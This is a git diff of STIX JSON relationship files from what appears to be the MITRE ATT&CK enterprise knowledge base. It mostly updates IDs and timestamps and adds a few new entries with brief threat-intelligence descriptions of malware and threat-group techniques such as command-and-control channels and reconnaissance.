diff --git a/enterprise-attack/relationship/relationship--14135aaa-6080-48c1-8a08-d6ee9bb15c3d.json b/enterprise-attack/relationship/relationship--14135aaa-6080-48c1-8a08-d6ee9bb15c3d.json
index 62b0fa62f5..0386d390d7 100644
--- a/enterprise-attack/relationship/relationship--14135aaa-6080-48c1-8a08-d6ee9bb15c3d.json
+++ b/enterprise-attack/relationship/relationship--14135aaa-6080-48c1-8a08-d6ee9bb15c3d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--be210270-2abb-41ff-8ee3-fb7a11c7bba8",
+    "id": "bundle--0d2ea451-4107-4b58-8f0a-f48170e6ab0a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--14135aaa-6080-48c1-8a08-d6ee9bb15c3d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Elise executes <code>systeminfo</code> after initial communication is made to the remote server.",
             "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
diff --git a/enterprise-attack/relationship/relationship--142800a5-62e9-48e9-97ef-186cfb68ffa1.json b/enterprise-attack/relationship/relationship--142800a5-62e9-48e9-97ef-186cfb68ffa1.json
index a63479ba88..cda9f34ac4 100644
--- a/enterprise-attack/relationship/relationship--142800a5-62e9-48e9-97ef-186cfb68ffa1.json
+++ b/enterprise-attack/relationship/relationship--142800a5-62e9-48e9-97ef-186cfb68ffa1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d0725c91-19cd-4711-9d29-ae65468a517a",
+    "id": "bundle--be3025a5-6d34-42a5-85ac-fc3a7c8793ec",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--142800a5-62e9-48e9-97ef-186cfb68ffa1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.028Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--9e57c770-5a39-49a2-bb91-253ba629e3ac",
             "target_ref": "attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446",
diff --git a/enterprise-attack/relationship/relationship--143c0761-981a-4668-ab8a-9ba74cb58869.json b/enterprise-attack/relationship/relationship--143c0761-981a-4668-ab8a-9ba74cb58869.json
index 20787708ae..b311b63fcd 100644
--- a/enterprise-attack/relationship/relationship--143c0761-981a-4668-ab8a-9ba74cb58869.json
+++ b/enterprise-attack/relationship/relationship--143c0761-981a-4668-ab8a-9ba74cb58869.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--31155e3a-49b9-4713-bd25-3a7d9626760c",
+    "id": "bundle--59f845d8-458b-461b-a49d-da87054e5808",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--143c0761-981a-4668-ab8a-9ba74cb58869",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.022Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--43b366a4-b5ff-4d4e-8a3b-f09a9d2faff5",
             "target_ref": "attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db",
diff --git a/enterprise-attack/relationship/relationship--1451c4a3-5dc6-4744-8120-197f3a3134c1.json b/enterprise-attack/relationship/relationship--1451c4a3-5dc6-4744-8120-197f3a3134c1.json
index 353927fc9e..768f023104 100644
--- a/enterprise-attack/relationship/relationship--1451c4a3-5dc6-4744-8120-197f3a3134c1.json
+++ b/enterprise-attack/relationship/relationship--1451c4a3-5dc6-4744-8120-197f3a3134c1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c8c392dc-b49d-410f-ba7e-8e4fd6a91641",
+    "id": "bundle--8b303217-43f8-42d3-abc7-25f944393a78",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1451c4a3-5dc6-4744-8120-197f3a3134c1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Duqu can be configured to have commands relayed over a peer-to-peer network of infected hosts if some of the hosts do not have Internet access.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
diff --git a/enterprise-attack/relationship/relationship--147d2e66-25de-42ea-8592-eb51333f595c.json b/enterprise-attack/relationship/relationship--147d2e66-25de-42ea-8592-eb51333f595c.json
index 5dacbc453a..5e210b866a 100644
--- a/enterprise-attack/relationship/relationship--147d2e66-25de-42ea-8592-eb51333f595c.json
+++ b/enterprise-attack/relationship/relationship--147d2e66-25de-42ea-8592-eb51333f595c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b3018433-7fdd-4bf7-be75-0fe7b82ce285",
+    "id": "bundle--331e7bd9-bdaf-48c5-9eee-8d0ccaf54e2c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--147d2e66-25de-42ea-8592-eb51333f595c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BlackEnergy is capable of taking screenshots.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Securelist BlackEnergy Nov 2014",
                     "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
-                    "url": "https://securelist.com/blog/research/67353/be2-custom-plugins-router-abuse-and-target-profiles/"
+                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--147e009d-48db-40bc-999c-70aa1e770a0c.json b/enterprise-attack/relationship/relationship--147e009d-48db-40bc-999c-70aa1e770a0c.json
index 8311ab3277..2c5b0b79b7 100644
--- a/enterprise-attack/relationship/relationship--147e009d-48db-40bc-999c-70aa1e770a0c.json
+++ b/enterprise-attack/relationship/relationship--147e009d-48db-40bc-999c-70aa1e770a0c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5eab3fde-36fe-46da-9111-922567a887d9",
+    "id": "bundle--0cd92cd6-27f7-4df3-9b19-5bc3d8d0a599",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--147e009d-48db-40bc-999c-70aa1e770a0c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec is capable of listing contents of folders on the victim.Remsec also searches for custom network encryption software on victims.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
diff --git a/enterprise-attack/relationship/relationship--14b393f2-6d67-4d4f-8f88-75c8b421c4e2.json b/enterprise-attack/relationship/relationship--14b393f2-6d67-4d4f-8f88-75c8b421c4e2.json
index 1f9c7e23e1..ff440216b5 100644
--- a/enterprise-attack/relationship/relationship--14b393f2-6d67-4d4f-8f88-75c8b421c4e2.json
+++ b/enterprise-attack/relationship/relationship--14b393f2-6d67-4d4f-8f88-75c8b421c4e2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3f83b735-77ec-4458-bd25-904e72157c46",
+    "id": "bundle--35c18be2-acc8-4569-aae5-219b3fdd6b01",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--14b393f2-6d67-4d4f-8f88-75c8b421c4e2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A version of PlugX loads as shellcode within a .NET Framework project using msbuild.exe, presumably to bypass application whitelisting techniques.",
             "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
diff --git a/enterprise-attack/relationship/relationship--14b70990-48b0-482b-bd5a-3a99d9d9a653.json b/enterprise-attack/relationship/relationship--14b70990-48b0-482b-bd5a-3a99d9d9a653.json
new file mode 100644
index 0000000000..2ab3324778
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--14b70990-48b0-482b-bd5a-3a99d9d9a653.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--47910623-dc69-41ef-ab9e-8494cd5402b8",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--14b70990-48b0-482b-bd5a-3a99d9d9a653",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "POWRUNER can use HTTP and DNS for C2 communications.",
+            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
+            "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+                },
+                {
+                    "source_name": "FireEye APT34 Webinar Dec 2017",
+                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
+                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--1539eaf6-e4ea-4e9d-af2b-2594d1ca5b38.json b/enterprise-attack/relationship/relationship--1539eaf6-e4ea-4e9d-af2b-2594d1ca5b38.json
index a7edb1d821..b548089e24 100644
--- a/enterprise-attack/relationship/relationship--1539eaf6-e4ea-4e9d-af2b-2594d1ca5b38.json
+++ b/enterprise-attack/relationship/relationship--1539eaf6-e4ea-4e9d-af2b-2594d1ca5b38.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--365b2cc3-2d3f-4685-b1ef-376e1aa945c6",
+    "id": "bundle--1e43069b-a76c-44d8-b149-55385945ca7c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1539eaf6-e4ea-4e9d-af2b-2594d1ca5b38",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "H1N1 has functionality to copy itself to network shares.",
             "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd",
diff --git a/enterprise-attack/relationship/relationship--1593ae11-0bb5-4e16-804a-1383eb0cced5.json b/enterprise-attack/relationship/relationship--1593ae11-0bb5-4e16-804a-1383eb0cced5.json
index 9213c43c88..aad29f5b2e 100644
--- a/enterprise-attack/relationship/relationship--1593ae11-0bb5-4e16-804a-1383eb0cced5.json
+++ b/enterprise-attack/relationship/relationship--1593ae11-0bb5-4e16-804a-1383eb0cced5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bffa2cfb-6d81-4f27-8bd5-4dfef7fb074e",
+    "id": "bundle--4c437b90-94d7-4407-8284-ab531653d432",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1593ae11-0bb5-4e16-804a-1383eb0cced5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.050Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
             "target_ref": "malware--b136d088-a829-432c-ac26-5529c26d4c7e",
diff --git a/enterprise-attack/relationship/relationship--15aa00d1-11c0-4be1-a900-ede5e1376110.json b/enterprise-attack/relationship/relationship--15aa00d1-11c0-4be1-a900-ede5e1376110.json
index a154c1c04b..f5eca67c46 100644
--- a/enterprise-attack/relationship/relationship--15aa00d1-11c0-4be1-a900-ede5e1376110.json
+++ b/enterprise-attack/relationship/relationship--15aa00d1-11c0-4be1-a900-ede5e1376110.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1c81e80c-90b7-4d48-a640-824e8a91f3ff",
+    "id": "bundle--cd1d2e61-65ab-460f-925f-0aaa469b364b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--15aa00d1-11c0-4be1-a900-ede5e1376110",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
             "target_ref": "malware--3240cbe4-c550-443b-aa76-cc2a7058b870",
diff --git a/enterprise-attack/relationship/relationship--15f74597-d92d-406f-9941-c0dfef3cb609.json b/enterprise-attack/relationship/relationship--15f74597-d92d-406f-9941-c0dfef3cb609.json
index 5fe07b4dff..636a5907d3 100644
--- a/enterprise-attack/relationship/relationship--15f74597-d92d-406f-9941-c0dfef3cb609.json
+++ b/enterprise-attack/relationship/relationship--15f74597-d92d-406f-9941-c0dfef3cb609.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c28aff47-e56e-4716-a3ec-a58ab6b5d73d",
+    "id": "bundle--7935b33d-cbb2-4f19-83ee-dd8536dbf3dc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--15f74597-d92d-406f-9941-c0dfef3cb609",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Commands under <code>net user</code> can be used in Net to gather information about and manipulate user accounts.",
             "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
diff --git a/enterprise-attack/relationship/relationship--16043223-3846-4138-93d0-671339ba3646.json b/enterprise-attack/relationship/relationship--16043223-3846-4138-93d0-671339ba3646.json
index 5bd13ffc82..b54b5304e2 100644
--- a/enterprise-attack/relationship/relationship--16043223-3846-4138-93d0-671339ba3646.json
+++ b/enterprise-attack/relationship/relationship--16043223-3846-4138-93d0-671339ba3646.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a73e48c9-b883-474e-8817-a0b2d84de16b",
+    "id": "bundle--21ae7c55-4571-4a26-8e60-8b889d7cb314",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--16043223-3846-4138-93d0-671339ba3646",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "NETEAGLE can send process listings over the C2 channel.",
             "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2",
diff --git a/enterprise-attack/relationship/relationship--162a051d-a551-4b8c-875a-75264768e541.json b/enterprise-attack/relationship/relationship--162a051d-a551-4b8c-875a-75264768e541.json
index ffb6056b2e..d171f77324 100644
--- a/enterprise-attack/relationship/relationship--162a051d-a551-4b8c-875a-75264768e541.json
+++ b/enterprise-attack/relationship/relationship--162a051d-a551-4b8c-875a-75264768e541.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8a076e1e-9028-4243-a0c6-b162a4c8aa7d",
+    "id": "bundle--9496fbb5-8a43-4d39-9ea5-e494a48ee111",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--162a051d-a551-4b8c-875a-75264768e541",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MoonWind installs itself as a new service with automatic startup to establish persistence. The service checks every 60 seconds to determine if the malware is running; if not, it will spawn a new instance.",
             "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
diff --git a/enterprise-attack/relationship/relationship--166326b3-6864-4667-aee9-4d7b24cc75d8.json b/enterprise-attack/relationship/relationship--166326b3-6864-4667-aee9-4d7b24cc75d8.json
new file mode 100644
index 0000000000..ae8df1b19f
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--166326b3-6864-4667-aee9-4d7b24cc75d8.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--5799586e-e641-4575-a87f-ad94fe516520",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--166326b3-6864-4667-aee9-4d7b24cc75d8",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has used HTTP and DNS for C2.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Playbook OilRig Dec 2017",
+                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer - Oil Rig. Retrieved December 20, 2017.",
+                    "url": "https://pan-unit42.github.io/playbook%20viewer/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--16632790-94dc-40ce-9c0a-2f6af0f691b1.json b/enterprise-attack/relationship/relationship--16632790-94dc-40ce-9c0a-2f6af0f691b1.json
index 52896378ab..ccb30aa400 100644
--- a/enterprise-attack/relationship/relationship--16632790-94dc-40ce-9c0a-2f6af0f691b1.json
+++ b/enterprise-attack/relationship/relationship--16632790-94dc-40ce-9c0a-2f6af0f691b1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--55ef622b-19fb-4faa-904e-0b9a311be248",
+    "id": "bundle--57e3bdc0-2846-4311-b188-748ffb77b8e6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--16632790-94dc-40ce-9c0a-2f6af0f691b1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pteranodon can execute commands on the victim.",
             "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
diff --git a/enterprise-attack/relationship/relationship--166c430d-0272-4dca-8d30-318cda0a0a63.json b/enterprise-attack/relationship/relationship--166c430d-0272-4dca-8d30-318cda0a0a63.json
index 60c76419ba..03695295c2 100644
--- a/enterprise-attack/relationship/relationship--166c430d-0272-4dca-8d30-318cda0a0a63.json
+++ b/enterprise-attack/relationship/relationship--166c430d-0272-4dca-8d30-318cda0a0a63.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ef07219f-b790-4b84-9979-2ebf73c1c9d0",
+    "id": "bundle--1619ac34-b243-48b6-b5e6-0749bf23a116",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--166c430d-0272-4dca-8d30-318cda0a0a63",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A system info module in CozyCar gathers information on the victim host\u2019s configuration.",
             "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
diff --git a/enterprise-attack/relationship/relationship--167d7b11-01f3-42d5-bb8a-78306dc80243.json b/enterprise-attack/relationship/relationship--167d7b11-01f3-42d5-bb8a-78306dc80243.json
index 295c142421..69c7f2fc19 100644
--- a/enterprise-attack/relationship/relationship--167d7b11-01f3-42d5-bb8a-78306dc80243.json
+++ b/enterprise-attack/relationship/relationship--167d7b11-01f3-42d5-bb8a-78306dc80243.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e7550229-11a9-44c7-9128-0418b9d2e421",
+    "id": "bundle--4cb95bd5-9bec-4d2c-9048-e1faa648ad23",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--167d7b11-01f3-42d5-bb8a-78306dc80243",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Part of APT28's operation involved using CHOPSTICK modules to copy itself to air-gapped machines, using files written to USB sticks to transfer data and command traffic.",
             "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
diff --git a/enterprise-attack/relationship/relationship--167e1e15-1fe1-4073-aac1-062557fdd79f.json b/enterprise-attack/relationship/relationship--167e1e15-1fe1-4073-aac1-062557fdd79f.json
index 4e0ddad530..666812ee8f 100644
--- a/enterprise-attack/relationship/relationship--167e1e15-1fe1-4073-aac1-062557fdd79f.json
+++ b/enterprise-attack/relationship/relationship--167e1e15-1fe1-4073-aac1-062557fdd79f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1ff80134-ae1e-44be-aab7-14237ef22c3d",
+    "id": "bundle--afe3686c-dd18-4683-a45c-db67ba1cafa4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--167e1e15-1fe1-4073-aac1-062557fdd79f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CORESHELL can communicate over HTTP, SMTP, and POP3 for C2.",
             "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81",
diff --git a/enterprise-attack/relationship/relationship--1684e405-53bd-4951-a26d-e7c39887b06a.json b/enterprise-attack/relationship/relationship--1684e405-53bd-4951-a26d-e7c39887b06a.json
index c589e265fb..73a2ec24fb 100644
--- a/enterprise-attack/relationship/relationship--1684e405-53bd-4951-a26d-e7c39887b06a.json
+++ b/enterprise-attack/relationship/relationship--1684e405-53bd-4951-a26d-e7c39887b06a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--71284ac9-8d1c-48a9-8ab4-61ce4e4825f3",
+    "id": "bundle--938a151e-a94d-409a-952a-33caa23c39e8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1684e405-53bd-4951-a26d-e7c39887b06a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "WinMM sets a WH_CBT Windows hook to search for and capture files on the victim.",
             "source_ref": "malware--22addc7b-b39f-483d-979a-1b35147da5de",
diff --git a/enterprise-attack/relationship/relationship--16c7058c-8fa5-4477-8332-9e76fcb38924.json b/enterprise-attack/relationship/relationship--16c7058c-8fa5-4477-8332-9e76fcb38924.json
index 0f46732dda..7576c8863a 100644
--- a/enterprise-attack/relationship/relationship--16c7058c-8fa5-4477-8332-9e76fcb38924.json
+++ b/enterprise-attack/relationship/relationship--16c7058c-8fa5-4477-8332-9e76fcb38924.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--320c749c-428f-479d-a308-e5580a11fc01",
+    "id": "bundle--11e84d80-0e2f-4981-b762-e95f79d73b8f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--16c7058c-8fa5-4477-8332-9e76fcb38924",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.071Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN6 has used Metasploit\u2019s PsExec NTDSGRAB module to obtain a copy of the victim's Active Directory database.",
             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
diff --git a/enterprise-attack/relationship/relationship--16cb7ede-b431-4711-bcb1-91bc925663e5.json b/enterprise-attack/relationship/relationship--16cb7ede-b431-4711-bcb1-91bc925663e5.json
index 5eb52a444c..a19db0aa8e 100644
--- a/enterprise-attack/relationship/relationship--16cb7ede-b431-4711-bcb1-91bc925663e5.json
+++ b/enterprise-attack/relationship/relationship--16cb7ede-b431-4711-bcb1-91bc925663e5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--550bda0d-693d-4314-847e-7c557ad1b77a",
+    "id": "bundle--60746587-ab24-4be7-aa3a-444601092a05",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--16cb7ede-b431-4711-bcb1-91bc925663e5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "During its initial execution, BACKSPACE extracts operating system information from the infected host.",
             "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
diff --git a/enterprise-attack/relationship/relationship--16ef3e00-dc40-462c-9b74-5e8a8b24c86e.json b/enterprise-attack/relationship/relationship--16ef3e00-dc40-462c-9b74-5e8a8b24c86e.json
new file mode 100644
index 0000000000..1e2c6f10eb
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--16ef3e00-dc40-462c-9b74-5e8a8b24c86e.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--6e7941f8-faf6-479c-aa88-ff426b03f3da",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--16ef3e00-dc40-462c-9b74-5e8a8b24c86e",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--16fd44bf-405b-49c1-96d7-0cacb5d65e74.json b/enterprise-attack/relationship/relationship--16fd44bf-405b-49c1-96d7-0cacb5d65e74.json
index 4992487848..1b50be8f70 100644
--- a/enterprise-attack/relationship/relationship--16fd44bf-405b-49c1-96d7-0cacb5d65e74.json
+++ b/enterprise-attack/relationship/relationship--16fd44bf-405b-49c1-96d7-0cacb5d65e74.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3c91ded4-a4e4-48ee-8477-d59b23f37db8",
+    "id": "bundle--789a123b-6378-4f7b-a644-ca6059e2708e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
